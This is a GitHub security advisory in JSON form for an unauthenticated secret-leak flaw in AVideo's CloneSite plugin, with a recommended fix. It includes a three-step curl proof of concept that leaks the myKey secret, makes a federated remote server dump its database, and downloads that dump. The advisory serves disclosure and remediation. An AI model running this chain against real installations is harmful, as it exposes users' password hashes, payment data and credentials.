{"id":"GHSA-qm9p-p5pw-jrx2","summary":"AVideo: Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server","details":"## Summary\n\n`plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone-\u003emyKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server's `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote's database to the remote's public `videos/clones/` directory.\n\n## Details\n\n### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`)\n\n```php\n$objCloneOriginal = $objClone;\n$argv[1] = preg_replace(\"/[^A-Za-z0-9 ]/\", '', empty($argv[1])?'':$argv[1]);\n\nif (empty($objClone) || empty($argv[1]) || $objClone-\u003emyKey !== $argv[1]) {\n    if (!User::isAdmin()) {\n        $resp-\u003emsg = \"You can't do this\";\n        $log-\u003eadd(\"Clone: {$resp-\u003emsg}\");\n        echo \"$objClone-\u003emyKey !== $argv[1]\";   // \u003c-- interpolates myKey\n        die(json_encode($resp));\n    }\n}\n```\n\nUnder PHP's web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER['argv']` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server):\n\n```\nbool(false)                # isset($argv)\nstring(9) \"undefined\"      # $argv ?? 'undefined'\nstring(9) \"undefined\"      # $_SERVER['argv']\nstring(9) \"undefined\"      # $argv[1]\nbool(true)                 # empty($argv[1])\n```\n\nBecause `empty($argv[1])` is true, line 51's `preg_replace` returns `''` and `$argv[1]` becomes `''`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone-\u003emyKey` into the response body before `die()`. The response body looks like:\n\n```\n\u003c32-hex-char md5\u003e !== {\"error\":true,\"msg\":\"You can't do this\"}\n```\n\nThe 32-hex prefix is the local `myKey`.\n\n### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`)\n\n```php\n$obj-\u003emyKey = md5($global['systemRootPath'].$global['salt']);\n```\n\n`myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates.\n\n### 3. Why the leaked key is dangerous (cross-site chain)\n\n`cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server:\n\n```php\n$url = $objClone-\u003ecloneSiteURL . \"plugin/CloneSite/cloneServer.json.php?url=\"\n     . urlencode($global['webSiteRootURL']) . \"&key={$objClone-\u003emyKey}&useRsync=\" . intval($objClone-\u003euseRsync);\n```\n\nOn the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET['url'], $_GET['key'])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only:\n\n```php\n$clone = new Clones(0);\n$clone-\u003eloadFromURL($url);\n...\nif ($clone-\u003egetKey() !== $key) { $resp-\u003emsg = \"Invalid Key\"; return $resp; }\nif ($clone-\u003egetStatus() !== 'a') { ... }\n```\n\nFor any federation pair the remote admin has approved (`status='a'`), supplying `url=\u003cvictim\u003e&key=\u003cleaked myKey\u003e` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} \".\n       \" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} \u003e $sqlFile\";\nexec($cmd . \" 2\u003e&1\", $output, $return_val);\n...\necho json_encode($resp);   // includes $resp-\u003esqlFile = \"Clone_mysqlDump_\u003cuniqid\u003e.sql\"\n```\n\nThe dump lands in `{videosDir}/clones/\u003csqlFile\u003e`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request.\n\n### 4. Not fixed by the previous `clones.json.php` hardening\n\nCommit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys).\n\n## PoC\n\nPrerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required.\n\n**Step 1 — leak the local `myKey` (unauthenticated GET):**\n\n```bash\ncurl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php'\n```\n\nResponse body:\n\n```\n3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {\"error\":true,\"msg\":\"You can't do this\"}\n```\n\nThe 32-hex-character prefix is `$objClone-\u003emyKey`.\n\n**Step 2 — use the leaked `myKey` to make the victim's configured remote dump its own database:**\n\n```bash\ncurl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0'\n```\n\nResponse (truncated):\n\n```json\n{\"error\":false,\"url\":\"https://victim.example.com/\",\"key\":\"...\",\"videosDir\":\"...\",\"sqlFile\":\"Clone_mysqlDump_65f3a2b14c7e8.sql\",\"videoFiles\":[...],\"photoFiles\":[...]}\n```\n\n**Step 3 — download the full database dump from the remote's public `videos/` directory:**\n\n```bash\ncurl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql'\n```\n\nThis file contains every table except `CachesInDB` — `users` (including password hashes), payment records, API secrets, plugin configuration, etc.\n\n## Impact\n\n- Any unauthenticated attacker can retrieve the CloneSite shared secret (`myKey`) of any AVideo installation that has the plugin enabled. `myKey` is static and never rotates on its own.\n- When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. `cloneServer.json.php` on the remote performs no additional authentication, runs an unconditional `mysqldump`, and places the result under the web-accessible `videos/clones/` directory — so a single leaked `myKey` leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP.\n- The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally `Unchanged`.\n- The `clones.json.php` hardening (the previously reported CWE-306 fix) does not cover this path; `cloneClient.json.php` is a distinct file that exposes a structurally different credential.\n\n## Recommended Fix\n\nDo not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for `plugin/CloneSite/cloneClient.json.php:51-60`:\n\n```php\n// Only accept the key argument from actual CLI invocations (intended usage:\n// cron \"php .../cloneClient.json.php \u003cmyKey\u003e\"). Over HTTP, require admin.\n$cliKey = (PHP_SAPI === 'cli' && !empty($argv[1]))\n    ? preg_replace(\"/[^A-Za-z0-9 ]/\", '', $argv[1])\n    : '';\n\nif (empty($objClone) || empty($cliKey) || $objClone-\u003emyKey !== $cliKey) {\n    if (!User::isAdmin()) {\n        $resp-\u003emsg = \"You can't do this\";\n        $log-\u003eadd(\"Clone: {$resp-\u003emsg}\");\n        // Do NOT echo $objClone-\u003emyKey — it is a shared secret used to\n        // authenticate to the configured remote clone server.\n        die(json_encode($resp));\n    }\n}\n```\n\nAdditional hardening recommended:\n\n- Replace the static `myKey = md5(systemRootPath . salt)` with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation).\n- On the remote side (`cloneServer.json.php`), consider requiring the `sqlFile` path to be unguessable (already is, via `uniqid()`) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's `myKey` does not immediately yield a full database dump.\n- Serve `videos/clones/` with an `.htaccess`/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.","aliases":["CVE-2026-43873"],"modified":"2026-05-05T19:17:32.065200Z","published":"2026-05-05T18:58:13Z","database_specific":{"severity":"HIGH","nvd_published_at":null,"cwe_ids":["CWE-209"],"github_reviewed":true,"github_reviewed_at":"2026-05-05T18:58:13Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-qm9p-p5pw-jrx2"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/e6566f56a28f4556b2a0a09d03717a719dcb49da"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qm9p-p5pw-jrx2/GHSA-qm9p-p5pw-jrx2.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}